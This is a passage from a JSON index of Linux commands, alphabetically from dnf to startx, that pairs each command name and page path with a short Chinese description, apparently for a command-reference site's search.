取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或关闭shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"设置或显示系统环境变量"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"fc":{"n":"fc","p":"/fc","d":"修改历史命令并执行"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业放到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型。"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具。"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用。"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"用来打印指定用户所属的工作组"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"在屏幕上显示指定文件的开头若干行"},"help":{"n":"help","p":"/help","d":"显示帮助信息"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"用于显示历史命令"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"用来打印当前主机的数字化标识"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况。"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"显示用户的ID以及所属群组的ID"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示Linux中的任务列表及任务状态"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"删除执行中的程序或工作"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"用来显示用户名称"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件。"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称。"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"在Linux系统中计算文件内容行号"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版。"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"用于删除目录栈中的记录"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中。"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录加入命令堆叠中"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器。"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"绝对路径方式显示用户当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"定义只读shell变量或函数"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小。"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"运程执行Linux系统下命令 "},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序。"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"将文件进行排序并输出"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息。"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X 